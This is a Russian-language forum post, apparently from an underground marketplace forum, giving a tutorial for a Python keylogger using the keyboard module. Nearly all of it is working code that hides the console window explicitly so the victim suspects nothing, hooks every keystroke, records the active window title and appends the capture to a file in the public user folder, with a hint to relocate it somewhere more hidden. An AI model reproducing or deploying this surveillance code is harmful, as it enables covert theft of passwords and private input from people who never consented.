✍️ Статья Кейлоггер на питоне

The 146X Project Dublikat Web Studio Avram Lincoln AL Service Navigator Knyaz

Tartuga

💰 Проверенный продавец
Регистрация
19.12.2019
Сообщения
93
Сегодня напишем небольшой кейлоггер на пайтоне с использованием модуля Keybord [ссылка на github].

Итак первым делом необходимо скачать и установить модуль Keyboard.

Затем, если вы не пользуетесь никакими ide, презираете их и тд), то вам нужно создать отдельную папку для данного проекта и подпапку с именем modules, где нужно создать файл keyboard и сохранить его как .py... После чего можете уже открывать данный файл в вашем любимом текстовом редакторе и приступать к работе с ним.

Итак, давайте уже приступим непосредственно к делу... В самом начале как обычно прописываем импорт используемых модулей в программе и далее две строчки для скрытия консоли при работе кейлоггера, чтобы никто ничего не заподозрил) и переменная с файлом, куда будут записываться данные.

import keyboard #нужен для записи нажатий клавиш
from datetime import datetime #данная функция нужна для записи времени
import ctypes #этот модуль используется дляДля взаимодействия с функциями C

kernel32 = ctypes.windll.kernel32
user32 = ctypes.windll.user32

'''Скрываем консоль'''
user32.ShowWindow(kernel32.GetConsoleWindow(), 0)

'''файл для записи'''
filename = "log.txt"





Теперь создаем следующую функцию для захвата текущего окна:

def get_current_window():

GetForegroundWindow = user32.GetForegroundWindow
GetWindowTextLength = user32.GetWindowTextLengthW
GetWindowText = user32.GetWindowTextW

hwnd = GetForegroundWindow() '''берем дескриптор окна, с которым работает пользователь'''
length = GetWindowTextLength(hwnd) '''берем длину текста в строке заголовка'''
buff = ctypes.create_unicode_buffer(length + 1)'''создаем буфер для хранения заголовка окна'''

GetWindowText(hwnd, buff, length + 1) '''получаем заголовок окна и сохраняем в буефер'''

return buff.value # возвращаем значение буфера



Далее создадим функцию, используя которую будем записывать данные в файл

def write_to(file, content):
file.write(content)

И создадим функцию для возврата времени:

def get_timestamp():
return(round(datetime.now().timestamp()))

Итак, нам нужно создать все-таки основную функцию для отправки нажатий клавиш.

Логика нашей функции:

  • Эта функция сначала передает ключ, каждый ключ имеет атрибуты name, scan_codeи time.
  • Когда передается ключ, сначала проверяется, находится ли пользователь в предыдущем окне, которое он использовал.
True:
  • Далее, проверяя, введены ли ключи в ту же функцию, массивы key_listи key_infoобновляются.key_info хранит имя ключа вместе с отметкой времени, в которое было записано нажатие.
  • key_list сохраняет ключи, которые были введены в текущем окне.
  • Затем она возвращается и ждет следующего нажатия клавиши.
False (новое окно)
  • Текущая дата key_infoи key_listзаписываются в переменную с именемcontent
  • Открывается файл с возможностью добавления.
  • Этот файл хранится в общедоступном каталоге пользователя. Вы можете изменить это местоположение на более скрытое, если хотите, позже.
  • Переменная contentи переменная, указывающая на файл, затем отправляются в функцию write_toи contentзаписываются в файл.
  • Файл закрывается
  • Теперь массивы и текущее окно можно безопасно сбросить
  • Новая нажатая клавиша записывается в массивы
def write_key(key):
global key_info # хранит информацию текущ. клавишу
global key_list # список с именами клавиш
global prev_window # переменная для хранения последнего использованного окна

window = get_current_window()

'''если проходим проверку на использование текущего окна, то добавлет в список клавиш'''
if(window==prev_window):
'''Добавляем ключ и время в текущий список в виде строки'''
key_info.append(str(key.name) + " | " + " | " + str(round(key.time)))
'''Добавляем имя ключа в список'''
key_list.append(str(key.name))
return
'''Если вышли из текущего окна, то записываем в выходной файл'''
content = "Date - " + str(datetime.now()) + " | Timestamp - " + str(get_timestamp()) + "\nWindow - " + str(get_current_window()) + "\nKeys - \n" + str("\n".join(key_info)) + "\n" + ", ".join(key_list) + "\n"
out = open("c:/users/public/" + str(filename), "a")
write_to(out, content)
out.close()
key_info = [] #Сбрасывем массивы
key_list = []
prev_window = window #Переназначем переменную с текщем окном
key_info.append(str(key.name) + " | " + str(key.scan_code) + " | " + str(round(key.time))) #Обновлем списки
key_list.append(str(key.name))


Теперь напишем функцию для подготовки сценария

def prepare():
global key_info
global key_list
global prev_window

key_info = []
key_list = []
prev_window = str()

'''При нажатии клавиши вызывается функция write_key'''
keyboard.on_press(write_key)

'''Прописываем, чтобы сценарий не был преждевременно прерван'''
keyboard.wait()

Все с keeboardom закончили:)

Теперь создаем в главной папке проекта файл main.py:

from modules import keyboard #Импортируем только что написанный файл

if __name__ == '__main__':
keyboard.filename = "log.txt" #это имя файла, куда все будет записываться
keyboard.prepare() #и вызываем функцию подготовки

Теперь осталось "скомпилировать" (почему в кавычках?! ну, потому что python не компилируемый яп... об этом можете почитать на различных различных ресурсах посвященным непосредственно пайтону....
 

📌 Золотая реклама

AnonPaste

Верх